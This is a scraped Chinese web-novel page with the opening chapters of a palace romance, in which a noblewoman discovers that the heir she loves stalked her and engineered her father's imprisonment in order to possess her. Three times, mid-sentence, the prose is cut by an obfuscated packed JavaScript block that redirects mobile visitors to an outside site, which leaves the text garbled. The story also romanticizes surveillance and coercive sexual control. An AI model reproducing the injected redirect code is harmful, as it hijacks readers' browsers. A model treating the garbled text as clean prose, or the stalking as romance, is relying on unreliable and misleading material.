《误把白切黑世子当好人后》 1. 蓄谋已久 层层珠帘纱幔阻隔了视线,纱帐里,似乎藏着一个还沉浸在睡梦中的女孩。 巧杏小心翼翼地撩开帐幔,看清了自家小姐那张精致的小脸上,殷红朱唇正浅浅呼吸着,如鸦羽般的睫毛轻颤,即便是睡着的时候,女孩的模样也美得不可方物,叫人忍不住怜惜。 “小姐,时候不早了,该起身了。”犹豫着,巧杏还是上前轻唤她起身。 听到叫唤声,纱帐里的美人这才嘤咛一声,睁开朦胧乌黑的眼睛,里面雾着一层未清醒的水光。 “巧杏,什么时辰了?” 缓缓起身的美人揉着眼睛,困惑地询问道,声音里还带着初醒的娇憨。支起身子的动作,使得原本披在身上的锦被往下滑了一段,露出白玉般的肩和美丽的锁骨。 可在那白得发亮如凝脂般细腻的肌肤上,却满是星星点点般的红痕和吻痕,一看便知少女昨夜经历了怎样猛烈的房事。 见此情形,巧杏不由得倒吸了一口凉气,昨夜她在屋外侍奉,自然是听到了自家小姐和世子暧昧又绵长的声息。 但当亲眼目睹到小姐身上留下的印迹后,她才猛然意识到,昨夜的房事恐怕比她想象中的还要激烈。 小姐这样纤细瘦弱的身板,是怎么能受得住世子索求无度的宠幸的? 思此,巧杏忍不住怜惜起了面前这个女孩。 她的小姐,乃是太常少卿阮礼的独女阮南枝。身为朝廷官员之女,阮南枝自当是身份尊贵的贵女,只可惜她的母亲、阮礼的发妻,在生下她时便因难产撒手人寰,阮南枝自襁褓之中便没了母亲。 好在阮礼对亡妻情深义重,更怜这唯一的幼女,自始至终未曾续弦。他又当爹又当妈,将满腔疼爱都倾注在阮南枝身上,把这女儿宠得如珠似宝,纵是少了母爱,阮南枝依旧在满满的父爱里,天真烂漫地长成了娇憨明媚的模样。 阮礼素来清正耿介、不附权贵,早年曾任苏州刺史,阮南枝自幼在苏州长大。十六岁这年,恰逢父亲官职调动,于是,她们便在这一年举家搬到了京城。 正当来到京城后的新生活展现一片欣欣向荣之际时,变故就这么突然地发生了。 一纸状告,阮礼锒铛入狱。彼时的阮南枝,不过是一个没经历过什么大风大浪的小姑娘,朝夕之间失去了庇护,面对父亲的被诬陷,她孤立无援,举步维艰。 走投无路之下,最终找上了那个矜贵不凡的男人。 委身于他,只为能保护父亲和阮家的安全…… 见巧杏盯着自己身上的痕迹,如同陷入了什么沉思一般,迟迟没有回话,阮南枝不免羞红了脸,害羞地拉起锦被将自己掩盖得严严实实。 巧杏终于回过神来,意识到是自己失礼了,连忙向阮南枝道歉:“抱歉小姐,是奴婢失礼了。这会儿已经午时了,世子今早说他今日还要同人议事就先走了,让奴婢好好照顾您。” “奴婢这就来伺候小姐起身。” 闻言,阮南枝“呀”了一声,一副很惊讶的样子,急急忙忙地胡乱套上衣服,小嘴里还不断念叨着: “怎么就午时了……昨夜砚黎哥哥同我说了,有藩属想要投其所好给他送礼,送来了一只珍贵长毛波斯猫。他说若是我喜欢,便给我养好了。” “不过砚黎哥哥今日可要忙到好晚,我等不及,我想要早点去他的府上将那只可爱的小猫接回来呢。” 这……听自家小姐这么说,巧杏的神情却露出了些许迟疑。 如今,被世子接到了他在外置办的宅子,如同金屋藏娇一般。摸不清世子对小姐的态度,巧杏犹有疑虑。 若是世子对小姐只像是豢养一只宠物那样,而小姐就这样随意地前往他的府邸,会不会引得世子生气? 诚然,世子是有点喜欢她们小姐没错,不然也不会帮她打点好阮父的案件,还时不时带来许多珍奇的宝物,譬如方才提到的狸奴,只为哄小姐展颜一笑。 但,这份喜欢,究竟掺杂了多少真心多少假意?作为两人的旁观者,即便是阮南枝的贴身侍女,巧杏仍然琢磨不定。 显然当事人就没有她这么顾虑重重,阮南枝着急忙慌地换好衣服,随意吃了点东西,就想赶紧前去将她心心念念的小狸奴接过来。 不过一想到世子哥哥会回府,阮南枝思虑了一会儿,便还是打算好好打扮一番。 都说女为悦己者容,一想到那个俊逸清朗的男人,阮南枝白皙的小脸瞬间染上了绯红。 不管什么时候,她都想以最好的姿态出现在砚黎哥哥的面前。 得了命令的巧杏,细心地替自家小姐画上粉黛,不一会儿,本就是花容玉貌的脸蛋上更平添了几分娇媚动人之感。 一辆低调的马车驶向当今如日中天的都察院御史之府。 本就是靖国公府世子,出身贵胄,加之能力出众、深得皇帝重用,年纪轻轻的江砚黎就执掌监察权,实际权力远超同品阶官员。 早些年皇上更是赐予他一座煊赫华贵的府邸,并赐名为“临渊府”,临渊而不惑,足足可见皇上对其寄予的厚望。由此,江砚黎已从靖国公府搬出,如今独自在临渊府居住。 临渊府的下人看到一辆不怎么引人注目的马车停在了后门,以为是什么不重要的人又来试图攀附他们世子,毕竟这样的事情他们天天都能见到。 刚想上去驱赶,恰逢此时刘管家从旁边经过,一眼就瞧见了……从车上下来的巧杏。 他认得,那是阮南枝身边的侍女。 想也不用想,马车上的主子一定就是那个他们世子放在心尖上的女人了。于是刘管家立刻打起十二分精神,用眼神示意小厮放尊重些,随后快步走到马车前福下了身子: “可是……阮小姐?” 闻声,一只纤纤玉手从里面伸出,挑起了门帘,一个带着帷帽将自己面容遮挡得严严实实的女子登时出现在大家的视线里。 “刘管家……”感受到临渊府的仆从或多或少的都偷偷有朝自己投来目光,阮南枝这时候才思虑起来,担忧自己上江砚黎府上寻他的这一举动是不是太过于不矜持,但她又实在想早点抱走狸奴,只好咬了咬唇问刘管家,“我是不是不该来的?” “您说的哪里话。”刘管家连忙笑着摆摆头,“世子早就吩咐过老奴,阮小姐若是到了临渊府,要好生照顾阮小姐。” “只是世子议事还尚未归,您请先进,老奴这就马上命人去禀报世子。” 随即,刘管家招呼着下人,将一把华贵的轿辇抬来,巧杏小心翼翼地扶着自家小姐下了马车,接着上了轿辇。 直至轿辇停到了一处院落,阮南枝这才彻底摘下了她头上戴着的帏帽,一张粉面含春的小脸就这样暴露在光线之下。 “这儿是世子的寝房。”刘管家殷切地引着阮南枝,入屋后替她倒了一壶茶水,笑了笑说,“您坐着歇息会儿,老奴这就替您抱来波斯猫。” 因着江砚黎不喜旁人进入他的寝房,巧杏没有跟随阮南枝进来,而是在偏殿被招待着。刘管家走后,阮南枝站起身来,好奇地在江砚黎的房间里四处看看。 屋子的一边是一张宽大的梨花木大床,悬挂着玄色织金帐幔,另一处尽头则设着一张书桌,靠墙的柜子上陈列着多本名家手札、古玉印章。 虽不明显,但可以感受到,整间屋子透着一种养尊处优的慵懒奢雅之感。 这一路过来,她也有悄悄打量临渊府,雕梁画栋,楼阁玲珑,纵使父亲出事前曾经也是太常少卿,阮府却还是和底蕴丰富的世家贵族无法相提并论。 她和砚黎哥哥,终究还是差距太大。 正当阮南枝想得出神之时,刘管家已经折返而来,将那只波斯猫递给她。 “啊……” 手上骤然出现了一只可爱的小猫,它的毛发白净浓密,睁着一双圆圆的大眼睛探究地看着阮南枝,阮南枝瞬间感觉自己的心要被融化了。 “那阮小姐,老奴就先退下了,如有什么吩咐,请尽管吩咐。” 眼见阮南枝迫不及待地抱着小猫开始逗弄它,刘管家适时地退下了,将空间留给她。 实在是太可爱了! 从没有养过小猫的阮南枝只觉得她终于要有一只专属于自己的小猫了,喜从心生,抓着它就疯狂地亲了上去。 被吓了一跳的小猫挣扎着跳了下来,随后身形敏捷地跳上了江砚黎的床榻,阮南枝为了抓回它,不得不脱掉自己的鞋履,也跟着上了床榻。 “咪咪不要跑!” 一把抓住了咪咪,阮南枝笑得眉眼弯弯,再次忍不住亲了上去。 挣扎逃避无果的咪咪,只能喵呜一声,被迫承受着女孩的爱意。 一人一猫就这么在床上打闹着,毕竟咪咪还小,不一会儿,小猫的眼皮就耷拉下来,阮南枝看着那副小模样内心在偷笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815447|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻地抚摸着它的小脑袋,好让它安稳地睡去。 摸着咪咪的脑袋,不知不觉间,阮南枝也感觉到自己有些困了,都怪昨夜江砚黎折腾了她好久,害得她没有睡够…… 这么想着想着,她躺在江砚黎的床榻上,将小脸埋进被子里,嗅着男人独有好闻的气息,也渐渐沉入梦乡。 …… 再次醒来时,不知过了多久,身旁的咪咪感受到旁边的动静,睁开眼看了阮南枝一眼,随即又马上闭上眼,换了一个姿势睡了过去。 “小懒猫。”少女失笑,悄声起了身。 似乎江砚黎还没有回来,阮南枝随意地在他的寝房内逛着,来到他的书桌前坐了下来。 书桌上的物件摆放得井井有条,细微之处见真章,可见他本人无论做什么事情都能有条不紊、游刃有余地做好。 智近于妖,优秀出众,这就是阮南枝当初为什么会喜欢他的原因。 本以为,她这一生,能这么偷偷仰慕着明月便以足矣……可不曾想,自己如今竟能陪在他身边,夜夜与他相拥入睡。 虽不能光明正大地与他在一起,却已经知足。 一切都像做梦一样。 阮南枝有些恍惚。 视线下移,有个黑色的小箱子出现在了她的视野之中。与周遭的物件比起来,这个黑色的箱子,似乎过于格格不入而显得格外神秘。 纵使知道乱翻别人物件是不礼貌的,但关于江砚黎的一切,阮南枝都迫切地想要了解,想要接近。 仿佛只有这样,她才能与自己喜欢的人更靠进一步。 于是,鬼使神差之下,她打开了这个黑色的木箱。 一瞬间,原本的动作顿住了。 什、什么? 看清了里面的物什,阮南枝惊讶得瞳孔骤然紧缩。她不敢置信地拿起来,又仔仔细细地看了一遍,这下才确定自己没有看错。 黑色木箱放着着厚厚一沓的密函,而密函上的内容,每一封、每一页、每一行字…… 全都是关于她。 她的喜好、行程,全被工工整整记在纸上。 几次“恰好同路”的偶遇,这些她本以为只是巧合的事情,两人之间的缘分,原来不过是他算准了她的作息时辰,故意布下的局? 怎么会…… 这是从什么时候开始,自己就被他盯上了? 最让她惊惧怵惕的,是一封有关父亲冤案的书信。 当时孤立无援,走投无路的她,最终去寻求他的帮助和庇护。 可信上的日期,竟比父亲下狱还早了一些时日,江砚黎已然提前命人打点好了这一切! 所以,其实他早就知道这些事情,却还是等着她上门求他,好顺理成章地将她置办在自己外宅从而占有她?! 光风霁月?温雅清贵? 触及真相的这一刻,在她心中,江砚黎原本的好人形象霎时破裂了。 盯着信上“待其无依,即可接入别苑”的字样,阮南枝简直不敢相信…… 世子哥哥,她以为的天底下最最最好的好人,竟然,对她蓄谋已久? 就在此时,门外传来了脚步声。 阮南枝连忙急匆匆地收起这一封封密函。可越着急越容易出错,在她慌张的动作之下,密函反倒全数掉落在地。 而大门已被推开。 进来的男子,显然第一时间注意到了阮南枝,以及她脚边散落一地的信函。 随即,那张的俊秀出尘的脸上,露出了些许意味不明的笑容,他眸光慵懒,堪堪扫过少女莹白玉润的脸儿。 被吓了一大跳的阮南枝猛地收回手,见到来人,讨好似的迎了上去:“砚黎哥哥,你回来了。” 纵使面上装得再乖巧,江砚黎还是敏锐地从女孩的眼神中扑捉到了一丝害怕的情绪。 怕他? 男人的眸色一暗。 “都看到了?” “我……”长睫低敛,试图掩去美目中的小心思,少女朱唇红润,两片饱满的唇瓣微张,似欲拒还迎诱人品尝的樱桃一般。 心里头那股冲动愈发强烈,江砚黎淡淡一笑,缓慢低头,惩罚一般俯身吻了阮南枝的小嘴。 衣衫尽数剥落,森白的牙齿咬住了那霜肌纤长的脖颈,受不住的女孩忍不住声声哀饶,但显然并没有什么用,最终,只能软软倒在男人的怀里…… 2. 初见 一年前。 妆奁旁的衣架堆得满满当当,阮南枝爱极了这件水绿绫裙上绣着的缠枝莲,却又同样不舍那件缀着精致珍珠扣的石榴红罗裙。 目光触及另一件银丝纹月白纱裙,更纠结了。 件件精致,她在寝房里挑选了足足半个时辰仍举棋不定。 阮南枝哀嚎一声,趴在桌子上,瘪着小嘴将自己的头埋在臂弯里。 “真的不知道要选哪件了……巧杏,你说,我到底要穿哪件衣裙赴嘉柔郡主的宴会比较好?” 前段时间,阮家因着父亲官职调动的缘故,举家从苏州迁到了京城。 初来乍到,阮南枝在这里并没有熟识的闺中密友,也不甚了解京中贵女平日里是怎么相处来往的。 此次嘉柔郡主所设的衔青宴,阮家也收到了帖子。这是阮南枝第一次与其他贵女来往的机会,因此,她想要给其他人留下个好印象,至少,不能过于失礼。 否则就是给父亲丢了面子。 巧杏自然也能明白阮南枝的思虑之处,她想了想,突然想到了什么,一拍脑袋。 “小姐,那件苏绣罗裙怎么样?” “苏绣罗裙?”经巧杏这么一提醒,阮南枝才猛地想起来,那时自己从苏州离开,恋恋不舍地带上了好几件当下时兴的裙子,其中有一件粉色的罗裙最得她的喜欢。 苏绣之法制成柔粉罗裙,裙身以晕针绣出成片桃花,虽说京城里绣工精奇的绣娘数不胜数,但绝没有人能制成苏绣这般,丝线渐变得如此自然,栩栩如生。 是了,其他裙子虽然也十分好看,但在京中贵女眼中却称不上什么稀奇的,唯有那条粉色罗裙,京中少见,才显得独出心裁。 于是阮南枝当即就拍板决定,穿这身苏绣罗裙出席嘉柔郡主的宴会。 * 和靖王是当今圣上的异母弟,而柔嘉郡主是和靖王之嫡女,身为皇亲,自是身份尊崇,受人景仰。 今日衔青宴来宾云集,院子里众多少女嬉笑打闹着,或弹琴拂弦,谈论诗词歌赋,好不快活。 直到柔嘉郡主云舒瑶被一群人簇拥而出。 鬓边斜簪赤玉步摇,与一身红色的衣裙相得益彰,顾盼间眼波流转,举手投足间尽是张扬意气。 众人纷纷夸赞郡主绝代风华,美得不可方物。面对众人的甜言吹捧,云舒瑶十分受用,脸上也渐渐露出了骄傲的神情。 当阮南枝出现时,她同样吸引了众人的目光。 虽然她的首饰服装并非最华贵耀眼的,但其精细的工艺技法,别致时尚。穿上这件裙子,尽显娇俏清新,宛若春日枝头盛放的烂漫花簇,引得许多姑娘纷纷上前询问,想要争相效仿。 得知是来自苏州的苏绣罗裙后,贵女们暗自记下,回去也要派人购买这样的衣裳。 这样热闹的场面自然引起了嘉柔郡主的注意,原本还在享受着旁人吹捧的云舒瑶,状似无意地朝阮南枝的方向看去,眼眸中闪过一丝鄙夷,随后迅速收起,面带微笑地走了过来。 看见嘉柔郡主注意到了自己,阮南枝感到十分开心,她知道嘉柔郡主身份高贵,是全京城贵女围绕着的中心人物,若能与之交好,则再好不过了。 正这么想着,嘉柔郡主已朝她迎面走来,阮南枝弯了弯唇角,露出了一个完美无瑕的笑容,随后俯身行礼。 “郡主好。” 可意想之中嘉柔郡主与自己柔声交谈地场景并未出现,她理都没理阮南枝,更别提回应,目不斜视地经过了满心期待的女孩,笑着对她后面的一个贵女说道: “你今儿这身衣裳可真好看。” 被点名到的贵女受宠若惊,连连摇头,说郡主才是最好看的。 在场的人都是人精,有眼睛的人都看得出来,无论是论款式还是论做工,后面这位贵女不过是京中最常见的衣裙,怎能比得过阮南枝的苏绣罗裙? 嘉柔郡主这么说,只不过是为了给阮南枝下脸子罢了。 一个是高高在上的郡主,一个是四品无实权官吏的女儿,要奉承谁?已然是很明显的答案。 于是不少人撇下阮南枝,转头继续和嘉柔郡主攀谈去了。甚至有些更过分的人,当着阮南枝的面,嗤笑她痴心妄想,妄想强行挤入她们的圈子。 阮南枝面子薄,何曾受过这种明晃晃的敌意,一张美貌倾城的小脸顿时变得煞白,失去了颜色。 “好啦好啦。” 就在这时,一个清脆娇柔的女声打破了僵局。 明微言笑晏晏地走进,滴水不漏地打着圆场:“依我看,今日各位姑娘都独有自己的风采与韵味,就像这满院的花朵,百花齐放,各展风华。” 闻言,云舒瑶的目光落到了明微身上。面前之人是永宁伯府嫡女,在京中属上层贵女,平日里左右逢源,处事圆滑,人缘极好。 她不仅惹不起,若是两人真对上了,她还得给明微几分面子。 没想到明微竟然会替那个抢了她风头的女人解围,云舒瑶纵使再怎么不情愿,最终也只能冷哼一声转头离去。 “谢谢这位姐姐……”知道是这位贵女替自己解了围,阮南枝连忙福身感谢。 “不必多谢。”见随手帮解围的小姑娘这么懂礼貌,明微不由得弯起了朱唇。 与所有人关系都算融洽,就是因为平时做足了功课,明微熟知京中所有人,就连前段时间才来到京城的阮南枝也不例外。 “妹妹可是阮礼大人的女儿?” “是。”阮南枝有些惊讶,面前这个和善的姐姐居然知道她是谁。 明微非常自来熟地牵起了她的手,一抹温润的笑浮出玉容:“我是永宁伯府的明微,今日我们就算交个朋友啦,日后有什么需要的帮忙的,尽管和我说就好。” 一双杏眸登时睁得大大的,阮南枝诧异地看着她,心道,原来她就是明微? 阮南枝有听说在京城贵女圈上层的明微娉婷秀雅,风评极好,也是尊贵不凡的大人物……没想到,她竟然如此和善,还这么的好相处。 虽遭受了冷待,但此行能与明微成为好友,也算是因祸得福。这可是她来京城交到的第一个好朋友呀,阮南枝感动得差点哭了。 两个小姑娘又热络地聊了一会别的,一边聊着一边走着,王府太大了,不知不觉间,她们走到了一处没有人的回廊。 感到有些累了,明微拉着阮南枝坐了下来。 她看人一向极准,本来只是见阮南枝这个粉雕玉琢的小姑娘被嘉柔郡主为难,于心不忍,才顺手解围。 经过这一路的交谈,明微能感受出来,面前这个女孩过于天真单纯,担心她因为今天的事情而难受多虑,于是想了想措辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若非被父亲保护得如此之好,又怎能养得如此天真烂漫,仿佛她的世界从未有过挫折,不知悲伤,不知怨恨。 少女娇艳欲滴的面庞上,一双黝黑的眼眸微微下垂着,看起来又纯真又无辜,娇憨可爱的桃颊浮上了淡淡的粉红色,如同朝霞映雪般妩媚动人。 随着她的微微仰头,修长的颈部线条瞬间展露,雪颈皓白,肌肤细腻,衬得女孩肩线清削,面容愈发绝美妩媚。 不知怎么的,江砚黎感觉有些口干舌燥,心脏也开始剧烈跳动起来。 素颈修长似鹤,脖颈转动间露出的纤细肌理,竟莫名勾起人隐秘的掌控欲,想掐住那抹纤细,吻上去,看她眼尾泛红的模样。 如受蛊惑一般,他忍不住在想,若是舌头掠过那搏动的血脉,便能清楚地感受到她的颤栗。 盯着盯着,男人玩味一般勾起了唇角,眸子里的情绪晦明不辨。 这样拥有极致纯粹的女孩,要么让人滋生出一种病态的渴望,亲手打破这份纯真,看她被摧毁后破碎的模样;要么会想要守护这份不染尘埃的美好,将她护在身后,使其避免受到一分一毫的伤害。 他不知道,自己究竟算得上是前者还是后者。 3. 入梦 两个女孩并不知道后面有人已注视着她们许久,估摸着快要到了戏班子来唱戏的时间,阮南枝还未听过京城里的好戏,实在想听,于是明微又带着她匆匆离开了这儿。 戏台上的锣鼓声阵阵,引人入胜,王府请来的不愧是著名戏班子,在台上上演了好一出辗转反侧、哀转久绝的爱情故事。 既是论及情爱,戏罢,周遭之人难免谈论上几句有关自己意中之人的话语。 “听闻靖国公府世子前些时日在赈灾义捐中捐出全数月俸,心系百姓的胸襟,远胜寻常纨绔子弟,如此高风亮节之人,就如同戏本里的男主角一般,令人折服。” “是啊,况且世子他俊逸无双,才学兼备,能文能武,从未见过如此完美之人……真不敢想象,他会娶什么样的女子为妻?” 听到后边有两人在悄声交谈,阮南枝不由得悄悄地竖起了耳朵。 靖国公府的世子……她初来京城,还并未认识什么公子,对于两位贵女对靖国公世子不留余力的夸赞,感到十分好奇。 这世间当真能有男子如此完美? 而一旁同样听到了对话的明微起了一身鸡皮疙瘩,无语地扯了扯嘴角,在心中默默吐槽。 她这个表弟实在太能装了,人前装得芝兰玉树光风霁月,引得京城贵女个个对他暗自倾心。 但明微知道,背后的江砚黎绝不如他表面上看着那样和善,这人心思深沉,腹黑得不得了。 虽是略微年长于他,可这人一向没对她这个表姐有多恭敬。明微自诩聪明伶俐,人缘极好又有着玲珑心思,一般从未有人能轻易斗得过她。 唯独遇上江砚黎,她能绕道走就绕道走,坚决避免惹上他! 还记得情窦初开那年,明微渐渐对太子产生了朦胧的好感,而太子又与江砚黎是挚友,于是总托他打听太子的喜好。 某次江砚黎从东宫回来,一本正经地对她说:“太子殿下说,他最喜欢安静温婉、不爱说话的姑娘,你有些过于聒噪了。” 信以为真的明微,此后每次见到太子都刻意装沉默,哪怕太子主动搭话,也只是故作婉约地点头应答。 太子觉得奇怪,原本活泼开朗的小姑娘,为何突然沉默寡言,还以为明微厌烦了自己,便闷闷地向她挑开话题:“微微为何不爱和我说话,是不是觉得我太沉闷了?”当时明微愣在原地,才反应过来被表弟骗了。 她气冲冲地找江砚黎对峙,谁知江砚黎懒懒地笑了一下,理直气壮地说: “谁让上次你和我父亲告状,说我没完成夫子布置的课业呢。” 闻言,明微有些心虚,毕竟江砚黎这样聪明绝顶的天之骄子,有些简单的课业不用写已经是他和夫子心照不宣的事情了,而明微羡慕他不用誊抄这么多作业,于是故意使坏在靖国公面前参他一本。 没想到后来招致了这样的报复……那时的她就知道了,江砚黎绝对是一只披着温和外皮的心机少年! 更是在后来得到了证实,江砚黎的仕途之路走得格外顺畅,时常借力打力,借政敌之手清除异己,更是能精准拿捏人心,就连圣上这样高深莫测的人物,也对他充满信任。 这样心思叵测的男人,以后要是谁嫁给江砚黎,那才是真的惨呢,绝对会被他吃得死死的。 明微心中默叹一声,暗暗为这个未来的弟媳哀悼。 宴会告落,阮南枝和明微依依不舍地告别后,上了回府的马车。 “乖女儿,今日玩得可开心?” 甫一回府,这个疼爱女儿的父亲便迫不及待地围了上来。 “爹爹,女儿今日交到了一个好朋友!”少女姣丽的面容上浮上了甜甜的微笑,阮南枝第一时间便想要同父亲分享今日的快乐,“枝枝和明微姐姐一见如故,聊得十分投机呢。” 除此之外,她已经选择性遗忘了今日被嘉柔郡主刁难一事。 “永宁伯府的大小姐?”自是了解明微的名号,阮礼轻轻摸了摸自己女儿的脑袋,为她交到了朋友而感到些许欣慰。 因为官职调动的缘故不得不被迫让从小在苏州长大的女儿和自己一起回京,阮礼的心里是非常对不起阮南枝的。 刚到京城之时,阮南枝连吃食都不习惯,他十分担心女儿不能适应京城的生活。 在他心中,女儿是最重要的。可惜,皇命难违。 好在如今看起来,阮南枝已经逐渐适应了京城的生活,也开始有了自己的朋友。 “嗯。”阮南枝不知道父亲为自己操碎了心,她只是觉得,父亲一直陪着她,巧杏也在她身边,如今自己又有了明微这个新朋友,她相信,未来的日子一定会越来越好。 又想到了什么似的,怀揣着老父亲忧思的阮礼掩唇轻咳一声,迟疑着开口:“那枝枝……可有相中哪家公子吗?” 时间过得如此之快快,一转眼,阮南枝也已经到了该谈婚论嫁的年纪,纵使身为父亲的阮礼再如何不舍,也是时候该开始考虑这个问题了。 听到爹爹这么问的小姑娘瞬间羞红了脸,桃腮浮起绯红,阮南枝跺了跺脚,佯装恼怒地轻哼了一声:“爹爹胡说什么呢!” 才没有什么相中的公子呢,今天她根本就没把注意力放在在场的男子身上。 哦对了……除了听到有人提及什么靖国公世子,她好奇了一下下以外,其他男子压根一个也没听说过。 “爹爹莫不是嫌弃枝枝了,想找个由头把枝枝随意打发了去?” 阮南枝鼓起圆鼓鼓的腮帮子,话语中也露出了一丝委屈的意味。 宠女儿如命的阮礼自然是受不了阮南枝这副可怜模样,他连连道歉,哄着误会了的小女儿道:“枝枝误会爹爹了,爹爹只是想着,如今你已长大,若是有喜欢的人,可以尽管和爹爹说,爹爹可以替你去说亲,好让你得偿所愿……” “若是没有就罢了,爹爹乐意养枝枝一辈子。” 言尽于此,原本皱巴巴的小脸这才“扑哧”一笑,转阴为晴。 * 坐在棋盘前,江砚黎手执一枚棋子,心思却已经飘忽至不知何处,迟迟未落子。 见状,对面之人微微咳嗽了一声,提醒他该下棋了,这才回过神来。 这次对局不用多想便可知道结果,好歹与江砚黎对弈之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815449|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也是同样人中龙凤的当朝太子,两人不分伯仲,平日全神贯注尚且打得难舍难分,胜负难决。稍一走神,就会轻而易举地看穿破绽,从而节节退败。 “怎么?昨夜没休息好?”少见江砚黎有如此不在状态的时候,云景澈挑了挑眉,出言打趣道。 “……是。” 面色不怎么好的男人揉了揉自己的眉心,缓缓吐出一口气。 何止昨夜。 一连好几天,江砚黎都没有睡过一个安稳觉。 他怎么也没想到,自从那日衔青宴之后,那个纯真懵懂的少女,便夜夜不讲理地闯入了他的梦里。 甚至…… 曲线优美的粉颈巍巍扬起,香肌雪肤上沾染了大团的黏腻,靡艳的吻痕吮满了她的脖颈。 娇软袅娜的美人,春华生艳的双颊因着羞意而变得满是红霞,雪腰颤颤,不断哭吟娇泣着。 这样不可描述的梦境别样刺激着睡梦中的男人的内心,难耐、焦灼,却又舒畅欢愉。 而当醒过来之后,亵裤自然是一片糟糕。 这样的经历,哪怕是最年少气盛的时候也是没有的。 全都是托那个女孩的福。 可怪她,又没有道理,毕竟……阮南枝初来京城,恐怕连他是谁也不认得,一切不都是自己单方面莫名起了不好的心思? 思此,江砚黎的视线一顿,一抹无语在他的眼中转瞬即逝。 无语? 从来没有见过这样怪异的江砚黎,云景澈不禁感慨,这世上竟还有什么东西能挑起江砚黎别样的情绪,打破他一直以来游刃有余的平静。 正当云景澈还想继续打探之时,江砚黎已经恢复了常态,率先开口:“殿下,阮礼之事,是否还需要多加思忖?” 话头被拉回了正事,云景澈的神情也变得严肃起来,思虑再三过后,他还是摇了摇头。 “父皇已做好决定。当朝正值肃清旧党余孽之时,需要一个干净、清高的棋子作为诱饵,引出真正的大鱼。再也没有比阮家更合适的了。” 才思敏捷、足智多谋的男人怎会不懂这个道理,只是…… “但若以阮礼为诱饵,明面上少不得行抄家之举。阮礼仅有一女,虽可保其家人性命无虞,却难免落得家破之局,短时间内也不能为其平反。” 江砚黎面色平静地说出了自己的思虑。 “你说的没错。可要成大事,必定会有人作为牺牲品……”云景澈沉默一瞬,颇为无奈地叹了一口气,“阮礼兼具治理才能与清正口碑,无涉党争。想来,他若是知晓这是父皇的无奈之举,也会愿意尽自己作为臣子的一份力吧。” “不过,你什么时候成了这等思前顾后之人了?” 尊贵的太子殿下朝江砚黎投去打量的目光,微微勾唇,轻笑了一声。 他同他都是某种意义上为达目的不在乎手段的人,做事从来都是果决干脆,雷厉风行。 今日的江砚黎,是在奇怪。 而面对他的探究,江砚黎面不改色,只淡淡笑着道:“殿下多虑了。既然皇上意已决,臣自会支持陛下的决定。” 4. 春日宴 春意渐浓,曲江池畔柳丝抽绿,绯桃争艳,一年一度的春日宴如期开宴。 先前的衔青宴只是王府设宴,而这次的春日宴则更为声势浩大,由皇贵妃所设,凡是年轻的王公贵女、朝臣亲眷皆受邀而至。 如此良辰佳节,阮南枝却没什么心思,毕竟此次是她第一次入宫,宫中不比其他地方,森严庄重,又波涛暗涌。 朝臣有别,后宫乃内廷禁地,父亲身为男子,自然无从入内。而她又没有母亲,也没有熟识的亲族可以一同赴宴。在出行之前,父亲已千叮咛万嘱咐,需得小心行事,万万不可冲撞了宫内贵人。 于是她今日只是身着一件月白绣兰纹襦裙独自赴宴,乖顺的女孩居于中末席,低调内敛,刻意减少存在感。 阮南枝在自己的席位上端坐着,连用膳都是小心翼翼,生怕一不小心就做了什么失礼的举动被人抓住错处,冒犯了贵人。 眼眸一抬,老远就看到明微坐在席位前端,她看起来对于这种场合如鱼得水,唇边噙着笑,眼尾弯起恰到好处的弧度,分寸拿捏得丝毫不差。 唉,好想像明微姐姐那样,做什么事情都能游刃有余地做好啊…… 阮南枝一双盈盈水眸中浮上了些许羡慕,呆呆地望着明微,心中有点惆怅。 这朱墙金瓦的深宫,从来都不是什么安稳和平的地方,平静的表象不过是层薄冰,而底下涌动着翻覆的暗流。 不多时,宫中教坊司的乐伎们身着舞衣,手持乐器,待宴至酣时,便如同车水马龙一般整齐有序地进场,献上一场绝美婀娜的表演。 就在众人都沉浸在这场精妙绝伦的表演之时,无人注意的角落,一个行迹诡异的宫女,偷偷摸摸地将一枚玉佩藏于贤妃座席后的假山缝隙中。 一曲舞毕。 然而,就在这个时候,高座之上的皇贵妃,突然惊慌焦急地大喊一声: “本宫的玉佩不见了!” 闻言,众人纷纷停下自己手中的动作,朝皇贵妃那儿投去目光。 只见面色煞白的皇贵妃死死抿着嘴唇,着急之情已然溢于言表,她连忙下令让多个宫女在座位周围搜寻一番,但皆无所获。 “这可是上好的羊脂玉佩,是皇上亲赐之物,本宫今日将其佩于身上,好端端的怎会不见……” 一双细长的丹凤眼眯起,她开始狐疑地打量着四周。 半晌,冷笑着从涂得艳红的嘴唇中吐出怀疑的字句: “莫不是有哪个手脚不干净之人,捡到了本宫的玉佩,却占为己有?!” 